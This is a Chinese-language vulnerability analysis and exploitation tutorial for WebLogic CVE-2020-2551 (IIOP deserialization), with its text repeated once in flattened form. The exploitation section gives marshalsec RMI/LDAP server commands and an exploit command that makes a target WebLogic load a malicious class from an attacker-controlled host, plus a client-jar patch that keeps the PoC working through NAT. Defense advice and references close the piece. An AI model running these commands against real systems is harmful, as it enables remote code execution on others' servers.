手把手教你解决Weblogic CVE-2020-2551 POC网络问题
字数 2063 2025-08-25 22:58:28

WebLogic CVE-2020-2551 IIOP协议反序列化漏洞分析与利用

1. 漏洞概述

CVE-2020-2551是Oracle WebLogic Server中的一个高危漏洞,CVSS评分9.8分,利用难度低。该漏洞基于IIOP协议执行远程代码,危害性较大,原因如下:

  1. Weblogic IIOP协议默认开启,与T3协议一起监听在7001或其他端口
  2. 这是Weblogic IIOP协议漏洞首次出现,修复周期长,具有长期利用价值

2. 漏洞原理分析

2.1 漏洞根源

漏洞主要原因是错误的过滤JtaTransactionManager类。虽然其父类AbstractPlatformTransactionManager已在补丁中被加入黑名单,但IIOP协议仅检查本类类名,而JtaTransactionManager类本身不在黑名单中,导致可被反序列化。

2.2 利用流程

  1. 通过JNDI方式利用IIOP协议向Weblogic申请注册远程对象,对象由jtaTransactionManager构造
  2. Weblogic反序列化jtaTransactionManager,通过LDAP/RMI协议获取JNDI引用
  3. 解码JNDI引用并加载恶意远程对象,实例化后触发恶意代码执行

3. 关键概念解析

3.1 RMI (Remote Method Invocation)

  • Java实现的远程方法调用,底层使用JRMP协议
  • 用于分布式系统中像本地调用一样方便地调用远程对象

3.2 LDAP (Lightweight Directory Access Protocol)

  • 轻型目录访问协议,基于TCP/IP
  • 用于保存描述性、基于属性的详细信息,支持查询、浏览和搜索

3.3 JNDI (Java Naming and Directory Interface)

  • 包括命名服务(Naming Service)和目录服务(Directory Service)
  • 允许客户端通过名称发现和查找数据、对象
  • 可集成RMI、CORBA、LDAP等多种服务

3.3.1 JNDI注入攻击向量

RMI攻击向量:

  1. 创建Reference对象指定远程工厂类
  2. 使用ReferenceWrapper包装Reference对象
  3. 客户端lookup时从指定URL加载恶意类

LDAP攻击向量:

  • 利用方式与RMI类似,但受JDK版本限制较少
  • JDK 1.8.0_102后默认禁用远程代码加载

3.4 CORBA (Common Object Request Broker Architecture)

  • 公共对象请求代理体系结构
  • 由三部分组成:
    • naming service (命名服务)
    • client side (客户端)
    • servant side (服务端)

3.5 IIOP/GIOP

  • GIOP: 通用对象请求协议,CORBA的数据传输协议
  • IIOP: GIOP在TCP/IP层的实现

3.6 RMI-IIOP

  • 结合RMI简单性和CORBA多语言兼容性
  • 允许RMI客户端使用IIOP协议操作CORBA对象
  • Weblogic中实现了RMI-IIOP模型

4. 漏洞利用实践

4.1 环境准备

Weblogic环境搭建:

cd vulhub/weblogic/CVE-2017-10271/ && docker-compose up -d

攻击工具准备:

  1. 编译exp类: javac -source 1.6 -target 1.6 exp.java
  2. 启动HTTP Server: python -m SimpleHTTPServer 80
  3. 启动RMI Server: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[攻击IP]/#exp" 1099

4.2 网络问题分析

问题现象:

  • 直连网络(内网)下POC有效
  • Docker/NAT网络环境下POC失效

根本原因:

  • Weblogic返回的LocateReply中包含内网IP地址
  • 客户端无法访问该内网IP导致bind失败

4.3 解决方案

技术方案:

  1. 定位到IOPProfile.class处理地址信息的逻辑
  2. 修改地址处理逻辑,将内网IP替换为可访问的外网IP

实现步骤:

  1. 反编译wlfullclient.jar中的IOPProfile.class
  2. 修改地址处理逻辑
  3. 重新编译并打包为新的JAR文件

关键修改点:

// 在ConnectionKey构造后添加以下代码
Channel remoteChannel = var1.getEndPoint().getRemoteChannel();
var4 = new ConnectionKey(remoteChannel.getInetAddress().getHostAddress(), remoteChannel.getPublicPort());

4.4 利用命令

RMI利用方式:

java -jar CVE-2020-2551.jar [目标IP] 7001 rmi://[攻击IP]:1099/exp

LDAP利用方式:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://[攻击IP]/#exp" 1389
java -jar CVE-2020-2551.jar [目标IP] 7001 ldap://[攻击IP]:1389/exp

5. 防御建议

  1. 及时安装Oracle官方补丁
  2. 如无需使用IIOP协议,可考虑关闭
  3. 限制Weblogic服务器的外网访问
  4. 升级JDK到最新版本,减少JNDI注入攻击面

6. 参考资源

  1. CVE-2020-2551 POC
  2. Weblogic CVE-2020-2551分析
  3. 漫谈 WebLogic CVE-2020-2551
  4. 深入理解JAVA反序列化漏洞
  5. Java中RMI、JNDI、LDAP详解
WebLogic CVE-2020-2551 IIOP协议反序列化漏洞分析与利用 1. 漏洞概述 CVE-2020-2551是Oracle WebLogic Server中的一个高危漏洞,CVSS评分9.8分,利用难度低。该漏洞基于IIOP协议执行远程代码,危害性较大,原因如下: Weblogic IIOP协议默认开启,与T3协议一起监听在7001或其他端口 这是Weblogic IIOP协议漏洞首次出现,修复周期长,具有长期利用价值 2. 漏洞原理分析 2.1 漏洞根源 漏洞主要原因是错误的过滤 JtaTransactionManager 类。虽然其父类 AbstractPlatformTransactionManager 已在补丁中被加入黑名单,但IIOP协议仅检查本类类名,而 JtaTransactionManager 类本身不在黑名单中,导致可被反序列化。 2.2 利用流程 通过JNDI方式利用IIOP协议向Weblogic申请注册远程对象,对象由 jtaTransactionManager 构造 Weblogic反序列化 jtaTransactionManager ,通过LDAP/RMI协议获取JNDI引用 解码JNDI引用并加载恶意远程对象,实例化后触发恶意代码执行 3. 关键概念解析 3.1 RMI (Remote Method Invocation) Java实现的远程方法调用,底层使用JRMP协议 用于分布式系统中像本地调用一样方便地调用远程对象 3.2 LDAP (Lightweight Directory Access Protocol) 轻型目录访问协议,基于TCP/IP 用于保存描述性、基于属性的详细信息,支持查询、浏览和搜索 3.3 JNDI (Java Naming and Directory Interface) 包括命名服务(Naming Service)和目录服务(Directory Service) 允许客户端通过名称发现和查找数据、对象 可集成RMI、CORBA、LDAP等多种服务 3.3.1 JNDI注入攻击向量 RMI攻击向量 : 创建Reference对象指定远程工厂类 使用ReferenceWrapper包装Reference对象 客户端lookup时从指定URL加载恶意类 LDAP攻击向量 : 利用方式与RMI类似,但受JDK版本限制较少 JDK 1.8.0_ 102后默认禁用远程代码加载 3.4 CORBA (Common Object Request Broker Architecture) 公共对象请求代理体系结构 由三部分组成: naming service (命名服务) client side (客户端) servant side (服务端) 3.5 IIOP/GIOP GIOP: 通用对象请求协议,CORBA的数据传输协议 IIOP: GIOP在TCP/IP层的实现 3.6 RMI-IIOP 结合RMI简单性和CORBA多语言兼容性 允许RMI客户端使用IIOP协议操作CORBA对象 Weblogic中实现了RMI-IIOP模型 4. 漏洞利用实践 4.1 环境准备 Weblogic环境搭建 : 攻击工具准备 : 编译exp类: javac -source 1.6 -target 1.6 exp.java 启动HTTP Server: python -m SimpleHTTPServer 80 启动RMI Server: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://[攻击IP]/#exp" 1099 4.2 网络问题分析 问题现象 : 直连网络(内网)下POC有效 Docker/NAT网络环境下POC失效 根本原因 : Weblogic返回的LocateReply中包含内网IP地址 客户端无法访问该内网IP导致bind失败 4.3 解决方案 技术方案 : 定位到 IOPProfile.class 处理地址信息的逻辑 修改地址处理逻辑,将内网IP替换为可访问的外网IP 实现步骤 : 反编译 wlfullclient.jar 中的 IOPProfile.class 修改地址处理逻辑 重新编译并打包为新的JAR文件 关键修改点 : 4.4 利用命令 RMI利用方式 : LDAP利用方式 : 5. 防御建议 及时安装Oracle官方补丁 如无需使用IIOP协议,可考虑关闭 限制Weblogic服务器的外网访问 升级JDK到最新版本,减少JNDI注入攻击面 6. 参考资源 CVE-2020-2551 POC Weblogic CVE-2020-2551分析 漫谈 WebLogic CVE-2020-2551 深入理解JAVA反序列化漏洞 Java中RMI、JNDI、LDAP详解